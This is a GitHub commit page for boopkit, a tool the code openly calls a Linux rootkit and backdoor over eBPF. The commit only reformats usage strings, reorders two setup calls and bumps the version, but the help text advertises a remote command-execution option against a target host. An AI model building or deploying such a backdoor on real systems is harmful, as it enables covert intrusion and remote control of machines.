Skip to content

Commit

Permalink
Automatic commit from github.com/kris-nova/bin/git-save
Browse files Browse the repository at this point in the history
Signed-off-by: Kris Nóva <kris@nivenly.com>
  • Loading branch information
krisnova committed Apr 8, 2022
1 parent cc69eb6 commit 2294719
Show file tree
Hide file tree
Showing 4 changed files with 12 additions and 12 deletions.
Binary file modified boop/boopkit-boop
Binary file not shown.
19 changes: 9 additions & 10 deletions boop/boopkit-boop.c
Original file line number Diff line number Diff line change
Expand Up @@ -51,17 +51,16 @@ void usage() {
printf("Linux rootkit and backdoor over eBPF.\n");
printf("Author: Kris Nóva <kris@nivenly.com>\n");
printf("\n");
printf("Usage: boopkit-boop [options]\n");
printf("Usage: \n");
printf("boopkit-boop [options]\n");
printf("\n");
printf("Options:\n");
printf("-lhost Local (src) address: 127.0.0.1.\n");
printf("-lport Local (src) port: 3535\n");
printf("-rhost Remote (dst) address: 127.0.0.1.\n");
printf("-rport Remote (dst) port: 22\n");
printf(
"-x, execute Command to execute on the boopscript server: ls "
"-la\n");
printf("-h, help Display help and usage for boopkit.\n");
printf("-lhost Local (src) address : 127.0.0.1.\n");
printf("-lport Local (src) port : 3535\n");
printf("-rhost Remote (dst) address : 127.0.0.1.\n");
printf("-rport Remote (dst) port : 22\n");
printf("-x, execute Remote command to exec : ls -la\n");
printf("-h, help Print help and usage.\n");
printf("\n");
exit(0);
}
Expand Down Expand Up @@ -175,8 +174,8 @@ int main(int argc, char **argv) {
int one = 1;
const int *oneval = &one;
asciiheader();
rootcheck(argc, argv);
clisetup(argc, argv);
rootcheck(argc, argv);
srand(time(NULL));
printf("RHOST [%s]\n", cfg.rhost);
printf("RPORT [%s]\n", cfg.rport);
Expand Down
3 changes: 2 additions & 1 deletion boopkit.c
Original file line number Diff line number Diff line change
Expand Up @@ -55,7 +55,8 @@ void usage() {
printf("Linux rootkit and backdoor over eBPF.\n");
printf("Author: Kris Nóva <kris@nivenly.com>\n");
printf("\n");
printf("Usage: boopkit [options]\n");
printf("Usage: \n");
printf("boopkit [options]\n");
printf("\n");
printf("Options:\n");
printf("-h, help Display help and usage for boopkit.\n");
Expand Down
2 changes: 1 addition & 1 deletion boopkit.h
Original file line number Diff line number Diff line change
Expand Up @@ -39,7 +39,7 @@ struct tcp_return {
};

// VERSION is the semantic version of the program
#define VERSION "1.0.4"
#define VERSION "1.0.5"

// PORT for the boopkit TCP protocol for boopscript RCE
#define PORT 3535
Expand Down

0 comments on commit 2294719

Please sign in to comment.